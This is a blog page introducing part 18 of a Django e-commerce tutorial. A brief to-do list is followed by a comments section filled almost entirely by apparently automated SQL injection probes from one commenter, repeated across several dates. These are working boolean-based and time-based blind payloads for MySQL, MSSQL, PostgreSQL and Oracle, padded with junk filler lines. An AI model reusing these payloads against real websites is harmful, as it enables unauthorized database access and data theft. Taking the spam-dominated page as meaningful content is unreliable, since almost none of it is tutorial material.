In part eighteen of this python/django e-commerce website series, we will finish the checkout by building a success page, clear the cart, show error messages and similar.
Part 18 - Todolist
-Show errors in the checkout
-Change ordering for orders
-Create simple success page
-Clear cart
-Show correct prices in the orders page
EFSArCBy | Jul 02, 26 08:51
555
EFSArCBy | Jul 02, 26 08:51
555
EFSArCBy | Jul 02, 26 08:51
555
EFSArCBy | Jul 02, 26 08:51
-1 OR 2+274-274-1=0+0+0+1 --
EFSArCBy | Jul 02, 26 08:51
-1 OR 2+971-971-1=0+0+0+1
EFSArCBy | Jul 02, 26 08:51
-1' OR 2+256-256-1=0+0+0+1 --
EFSArCBy | Jul 02, 26 08:51
-1' OR 2+715-715-1=0+0+0+1 or '7tz4TjWj'='
EFSArCBy | Jul 02, 26 08:51
-1" OR 2+243-243-1=0+0+0+1 --
EFSArCBy | Jul 02, 26 08:51
555*if(now()=sysdate(),sleep(15),0)
EFSArCBy | Jul 02, 26 08:51
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
EFSArCBy | Jul 02, 26 08:51
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
EFSArCBy | Jul 02, 26 08:51
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
EFSArCBy | Jul 02, 26 08:51
555-1; waitfor delay '0:0:15' --
EFSArCBy | Jul 02, 26 08:51
555-1); waitfor delay '0:0:15' --
EFSArCBy | Jul 02, 26 08:51
555-1 waitfor delay '0:0:15' --
EFSArCBy | Jul 02, 26 08:51
555WYdHoJnI'; waitfor delay '0:0:15' --
EFSArCBy | Jul 02, 26 08:51
555-1 OR 222=(SELECT 222 FROM PG_SLEEP(15))--
EFSArCBy | Jul 02, 26 08:51
555-1) OR 765=(SELECT 765 FROM PG_SLEEP(15))--
EFSArCBy | Jul 02, 26 08:51
555-1)) OR 842=(SELECT 842 FROM PG_SLEEP(15))--
EFSArCBy | Jul 02, 26 08:51
5550HKntAx3' OR 116=(SELECT 116 FROM PG_SLEEP(15))--
EFSArCBy | Jul 02, 26 08:51
555R29PHTS9') OR 303=(SELECT 303 FROM PG_SLEEP(15))--
EFSArCBy | Jul 02, 26 08:51
555CU9gsWm1')) OR 533=(SELECT 533 FROM PG_SLEEP(15))--
EFSArCBy | Jul 02, 26 08:51
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
EFSArCBy | Jul 02, 26 08:51
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
EFSArCBy | Jul 02, 26 08:51
555
EFSArCBy | Jul 02, 26 08:51
555'"
EFSArCBy | Jul 02, 26 08:51
@@MYdW1
EFSArCBy | Jul 02, 26 08:51
555
EFSArCBy | Jul 02, 26 08:51
555
EFSArCBy | Jul 02, 26 08:51
555
EFSArCBy | Jul 02, 26 08:51
555
EFSArCBy | Jul 02, 26 08:51
555
EFSArCBy | Jul 02, 26 08:51
555
EFSArCBy | Jul 02, 26 08:51
555
EFSArCBy | Jul 02, 26 08:51
555
EFSArCBy | Jul 02, 26 08:51
555
EFSArCBy | Jul 02, 26 08:51
555
EFSArCBy | Jul 02, 26 08:51
555
EFSArCBy | Jul 02, 26 08:51
555
EFSArCBy | Jul 02, 26 08:51
555
EFSArCBy | Jul 02, 26 08:51
555
EFSArCBy | Jul 02, 26 08:51
555
EFSArCBy | Jul 02, 26 08:51
555
EFSArCBy | Jul 02, 26 08:51
555
EFSArCBy | Jul 02, 26 08:51
555
EFSArCBy | Jul 02, 26 08:51
555
EFSArCBy | Jul 02, 26 08:51
555
EFSArCBy | Jul 02, 26 08:51
555
EFSArCBy | Jul 02, 26 08:51
555
EFSArCBy | Jul 02, 26 08:51
555
EFSArCBy | Jul 02, 26 08:51
555
-1 OR 2+188-188-1=0+0+0+1 -- | Jul 02, 26 08:51
555
-1 OR 2+414-414-1=0+0+0+1 | Jul 02, 26 08:51
555
-1' OR 2+378-378-1=0+0+0+1 -- | Jul 02, 26 08:51
555
-1' OR 2+252-252-1=0+0+0+1 or 'kGFcmSPK'=' | Jul 02, 26 08:51
555
-1" OR 2+163-163-1=0+0+0+1 -- | Jul 02, 26 08:51
555
if(now()=sysdate(),sleep(15),0) | Jul 02, 26 08:51
555
EFSArCBy0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z | Jul 02, 26 08:51
555
EFSArCBy0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z | Jul 02, 26 08:51
555
EFSArCBy-1 waitfor delay '0:0:15' -- | Jul 02, 26 08:51
555
EFSArCByg1o5hdfC'; waitfor delay '0:0:15' -- | Jul 02, 26 08:51
555
EFSArCByAE0mmHiw' OR 464=(SELECT 464 FROM PG_SLEEP(15))-- | Jul 02, 26 08:51
555
EFSArCByFtafBP0k') OR 183=(SELECT 183 FROM PG_SLEEP(15))-- | Jul 02, 26 08:51
555
EFSArCByvzvDTIAN')) OR 731=(SELECT 731 FROM PG_SLEEP(15))-- | Jul 02, 26 08:51
555
EFSArCBy'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' | Jul 02, 26 08:51
555
EFSArCBy | Jul 02, 26 08:51
555
EFSArCBy'" | Jul 02, 26 08:51
555
@@6MR7p | Jul 02, 26 08:52
555
EFSArCBy | Jul 02, 26 08:52
555
EFSArCBy | Jul 02, 26 08:52
555
EFSArCBy | Jul 02, 26 08:52
555
EFSArCBy | Jul 02, 26 08:52
555
EFSArCBy | Jul 02, 26 08:52
555
EFSArCBy | Jul 02, 26 08:52
555
EFSArCBy | Jul 02, 26 08:52
555
EFSArCBy | Jul 02, 26 08:52
555
EFSArCBy | Jul 02, 26 08:52
555
EFSArCBy | Jul 02, 26 08:52
555
EFSArCBy | Jul 02, 26 08:52
555
EFSArCBy | Jul 02, 26 08:52
555
EFSArCBy | Jul 02, 26 08:52
555
EFSArCBy | Jul 02, 26 08:52
555
EFSArCBy | Jul 02, 26 08:52
555
EFSArCBy | Jul 02, 26 08:52
555
EFSArCBy | Jul 02, 26 08:52
555
EFSArCBy | Jul 02, 26 08:52
555
EFSArCBy | Jul 02, 26 08:52
555
EFSArCBy | Jul 20, 26 09:48
555
EFSArCBy | Jul 20, 26 09:48
555
EFSArCBy | Jul 20, 26 09:48
555
EFSArCBy | Jul 20, 26 09:48
-1 OR 2+783-783-1=0+0+0+1 --
EFSArCBy | Jul 20, 26 09:48
-1 OR 2+800-800-1=0+0+0+1
EFSArCBy | Jul 20, 26 09:48
-1' OR 2+11-11-1=0+0+0+1 --
EFSArCBy | Jul 20, 26 09:48
-1' OR 2+175-175-1=0+0+0+1 or 'x1Yyy2QH'='
EFSArCBy | Jul 20, 26 09:48
-1" OR 2+273-273-1=0+0+0+1 --
EFSArCBy | Jul 20, 26 09:48
555*if(now()=sysdate(),sleep(15),0)
EFSArCBy | Jul 20, 26 09:48
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
EFSArCBy | Jul 20, 26 09:48
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
EFSArCBy | Jul 20, 26 09:48
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
EFSArCBy | Jul 20, 26 09:48
555-1; waitfor delay '0:0:15' --
EFSArCBy | Jul 20, 26 09:48
555-1); waitfor delay '0:0:15' --
EFSArCBy | Jul 20, 26 09:48
555-1 waitfor delay '0:0:15' --
EFSArCBy | Jul 20, 26 09:48
555v1HuZQ4t'; waitfor delay '0:0:15' --
EFSArCBy | Jul 20, 26 09:48
555-1 OR 805=(SELECT 805 FROM PG_SLEEP(15))--
EFSArCBy | Jul 20, 26 09:48
555-1) OR 836=(SELECT 836 FROM PG_SLEEP(15))--
EFSArCBy | Jul 20, 26 09:48
555-1)) OR 310=(SELECT 310 FROM PG_SLEEP(15))--
EFSArCBy | Jul 20, 26 09:48
555pHQbqiUb' OR 369=(SELECT 369 FROM PG_SLEEP(15))--
EFSArCBy | Jul 20, 26 09:48
555ru8bv0KC') OR 687=(SELECT 687 FROM PG_SLEEP(15))--
EFSArCBy | Jul 20, 26 09:48
555WYCV4LFQ')) OR 116=(SELECT 116 FROM PG_SLEEP(15))--
EFSArCBy | Jul 20, 26 09:48
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
EFSArCBy | Jul 20, 26 09:48
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
EFSArCBy | Jul 20, 26 09:48
555
EFSArCBy | Jul 20, 26 09:48
555'"
EFSArCBy | Jul 20, 26 09:48
@@sknqJ
EFSArCBy | Jul 20, 26 09:48
555
EFSArCBy | Jul 20, 26 09:48
555
EFSArCBy | Jul 20, 26 09:48
555
EFSArCBy | Jul 20, 26 09:48
555
EFSArCBy | Jul 20, 26 09:48
555
EFSArCBy | Jul 20, 26 09:48
555
EFSArCBy | Jul 20, 26 09:49
555
EFSArCBy | Jul 20, 26 09:49
555
EFSArCBy | Jul 20, 26 09:49
555
EFSArCBy | Jul 20, 26 09:49
555
EFSArCBy | Jul 20, 26 09:49
555
EFSArCBy | Jul 20, 26 09:49
555
EFSArCBy | Jul 20, 26 09:49
555
EFSArCBy | Jul 20, 26 09:49
555
EFSArCBy | Jul 20, 26 09:49
555
EFSArCBy | Jul 20, 26 09:49
555
EFSArCBy | Jul 20, 26 09:49
555
EFSArCBy | Jul 20, 26 09:49
555
EFSArCBy | Jul 20, 26 09:49
555
EFSArCBy | Jul 20, 26 09:49
555
EFSArCBy | Jul 20, 26 09:49
555
EFSArCBy | Jul 20, 26 09:49
555
EFSArCBy | Jul 20, 26 09:49
555
EFSArCBy | Jul 20, 26 09:49
555
-1 OR 2+652-652-1=0+0+0+1 -- | Jul 20, 26 09:49
555
-1 OR 2+401-401-1=0+0+0+1 | Jul 20, 26 09:49
555
-1' OR 2+622-622-1=0+0+0+1 -- | Jul 20, 26 09:49
555
-1' OR 2+864-864-1=0+0+0+1 or '1A6b5Vfd'=' | Jul 20, 26 09:49
555
-1" OR 2+815-815-1=0+0+0+1 -- | Jul 20, 26 09:49
555
if(now()=sysdate(),sleep(15),0) | Jul 20, 26 09:49
555
EFSArCBy0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z | Jul 20, 26 09:49
555
EFSArCBy0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z | Jul 20, 26 09:49
555
EFSArCBy-1 waitfor delay '0:0:15' -- | Jul 20, 26 09:49
555
EFSArCByuhuLW8ar'; waitfor delay '0:0:15' -- | Jul 20, 26 09:49
555
EFSArCByN6UKi5Bw' OR 692=(SELECT 692 FROM PG_SLEEP(15))-- | Jul 20, 26 09:49
555
EFSArCByjKMHTVGt') OR 343=(SELECT 343 FROM PG_SLEEP(15))-- | Jul 20, 26 09:49
555
EFSArCByx0V274tz')) OR 75=(SELECT 75 FROM PG_SLEEP(15))-- | Jul 20, 26 09:49
555
EFSArCBy'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' | Jul 20, 26 09:49
555
EFSArCBy | Jul 20, 26 09:49
555
EFSArCBy'" | Jul 20, 26 09:49
555
@@N6doy | Jul 20, 26 09:49
555
EFSArCBy | Jul 20, 26 09:49
555
EFSArCBy | Jul 20, 26 09:49
555
EFSArCBy | Jul 20, 26 09:49
555
EFSArCBy | Jul 20, 26 09:49
555
EFSArCBy | Jul 20, 26 09:49
555
EFSArCBy | Jul 20, 26 09:49
555
EFSArCBy | Jul 20, 26 09:49
555
EFSArCBy | Jul 20, 26 09:49
555
EFSArCBy | Jul 20, 26 09:49
555
EFSArCBy | Jul 20, 26 09:49
555
EFSArCBy | Jul 20, 26 09:49
555
EFSArCBy | Jul 20, 26 09:49
555
EFSArCBy | Jul 20, 26 09:49
555
EFSArCBy | Jul 20, 26 09:49
555
EFSArCBy | Jul 20, 26 09:49
555
EFSArCBy | Jul 20, 26 09:49
555
EFSArCBy | Jul 20, 26 09:49
555
EFSArCBy | Jul 20, 26 09:49
555
EFSArCBy | Jul 20, 26 09:49
555
EFSArCBy | Jul 23, 26 12:38
555
EFSArCBy | Jul 23, 26 12:40
555
EFSArCBy | Jul 23, 26 12:40
555
EFSArCBy | Jul 23, 26 12:40
-1 OR 2+145-145-1=0+0+0+1 --
EFSArCBy | Jul 23, 26 12:40
-1 OR 2+663-663-1=0+0+0+1
EFSArCBy | Jul 23, 26 12:40
-1' OR 2+566-566-1=0+0+0+1 --
EFSArCBy | Jul 23, 26 12:40
-1' OR 2+380-380-1=0+0+0+1 or 'k2wvb55u'='
EFSArCBy | Jul 23, 26 12:40
-1" OR 2+805-805-1=0+0+0+1 --
EFSArCBy | Jul 23, 26 12:40
555*if(now()=sysdate(),sleep(15),0)
EFSArCBy | Jul 23, 26 12:40
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
EFSArCBy | Jul 23, 26 12:40
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
EFSArCBy | Jul 23, 26 12:40
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
EFSArCBy | Jul 23, 26 12:40
555-1; waitfor delay '0:0:15' --
EFSArCBy | Jul 23, 26 12:40
555-1); waitfor delay '0:0:15' --
EFSArCBy | Jul 23, 26 12:40
555-1 waitfor delay '0:0:15' --
EFSArCBy | Jul 23, 26 12:40
555hkL7Ny7V'; waitfor delay '0:0:15' --
EFSArCBy | Jul 23, 26 12:40
555-1 OR 257=(SELECT 257 FROM PG_SLEEP(15))--
EFSArCBy | Jul 23, 26 12:40
555-1) OR 99=(SELECT 99 FROM PG_SLEEP(15))--
EFSArCBy | Jul 23, 26 12:40
555-1)) OR 559=(SELECT 559 FROM PG_SLEEP(15))--
EFSArCBy | Jul 23, 26 12:40
555t89x9533' OR 496=(SELECT 496 FROM PG_SLEEP(15))--
EFSArCBy | Jul 23, 26 12:40
555175PMAiJ') OR 671=(SELECT 671 FROM PG_SLEEP(15))--
EFSArCBy | Jul 23, 26 12:40
555ooxw8jtO')) OR 122=(SELECT 122 FROM PG_SLEEP(15))--
EFSArCBy | Jul 23, 26 12:40
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
EFSArCBy | Jul 23, 26 12:40
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
EFSArCBy | Jul 23, 26 12:40
555
EFSArCBy | Jul 23, 26 12:40
555'"
EFSArCBy | Jul 23, 26 12:40
@@RjwWD
EFSArCBy | Jul 23, 26 12:40
555
EFSArCBy | Jul 23, 26 12:40
555
EFSArCBy | Jul 23, 26 12:40
555
EFSArCBy | Jul 23, 26 12:40
555
EFSArCBy | Jul 23, 26 12:40
555
EFSArCBy | Jul 23, 26 12:40
555
EFSArCBy | Jul 23, 26 12:40
555
EFSArCBy | Jul 23, 26 12:40
555
EFSArCBy | Jul 23, 26 12:40
555
EFSArCBy | Jul 23, 26 12:40
555
EFSArCBy | Jul 23, 26 12:40
555
EFSArCBy | Jul 23, 26 12:40
555
EFSArCBy | Jul 23, 26 12:40
555
EFSArCBy | Jul 23, 26 12:40
555
EFSArCBy | Jul 23, 26 12:40
555
EFSArCBy | Jul 23, 26 12:40
555
EFSArCBy | Jul 23, 26 12:40
555
EFSArCBy | Jul 23, 26 12:40
555
EFSArCBy | Jul 23, 26 12:40
555
EFSArCBy | Jul 23, 26 12:40
555
EFSArCBy | Jul 23, 26 12:40
555
EFSArCBy | Jul 23, 26 12:40
555
EFSArCBy | Jul 23, 26 12:40
555
EFSArCBy | Jul 23, 26 12:40
555
-1 OR 2+618-618-1=0+0+0+1 -- | Jul 23, 26 12:40
555
-1 OR 2+340-340-1=0+0+0+1 | Jul 23, 26 12:40
555
-1' OR 2+587-587-1=0+0+0+1 -- | Jul 23, 26 12:40
555
-1' OR 2+732-732-1=0+0+0+1 or '9iHxjoq1'=' | Jul 23, 26 12:40
555
-1" OR 2+366-366-1=0+0+0+1 -- | Jul 23, 26 12:40
555
if(now()=sysdate(),sleep(15),0) | Jul 23, 26 12:40
555
EFSArCBy0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z | Jul 23, 26 12:40
555
EFSArCBy0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z | Jul 23, 26 12:40
555
EFSArCBy-1 waitfor delay '0:0:15' -- | Jul 23, 26 12:40
555
EFSArCByyui8hnSB'; waitfor delay '0:0:15' -- | Jul 23, 26 12:40
555
EFSArCByl0dPRKSm' OR 234=(SELECT 234 FROM PG_SLEEP(15))-- | Jul 23, 26 12:40
555
EFSArCByVz89bh3d') OR 534=(SELECT 534 FROM PG_SLEEP(15))-- | Jul 23, 26 12:40
555
EFSArCByOZWL7Yyp')) OR 963=(SELECT 963 FROM PG_SLEEP(15))-- | Jul 23, 26 12:40
555
EFSArCBy'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' | Jul 23, 26 12:40
555
EFSArCBy | Jul 23, 26 12:40
555
EFSArCBy'" | Jul 23, 26 12:40
555
@@e824K | Jul 23, 26 12:40
555
EFSArCBy | Jul 23, 26 12:40
555
EFSArCBy | Jul 23, 26 12:40
555
EFSArCBy | Jul 23, 26 12:40
555
EFSArCBy | Jul 23, 26 12:40
555
EFSArCBy | Jul 23, 26 12:40
555
EFSArCBy | Jul 23, 26 12:40
555
EFSArCBy | Jul 23, 26 12:40
555
EFSArCBy | Jul 23, 26 12:40
555
EFSArCBy | Jul 23, 26 12:40
555
EFSArCBy | Jul 23, 26 12:40
555
EFSArCBy | Jul 23, 26 12:40
555
EFSArCBy | Jul 23, 26 12:40
555
EFSArCBy | Jul 23, 26 12:40
555
EFSArCBy | Jul 23, 26 12:40
555
EFSArCBy | Jul 23, 26 12:40
555
EFSArCBy | Jul 23, 26 12:40
555
EFSArCBy | Jul 23, 26 12:40
555
EFSArCBy | Jul 23, 26 12:40
555
EFSArCBy | Jul 23, 26 12:40
555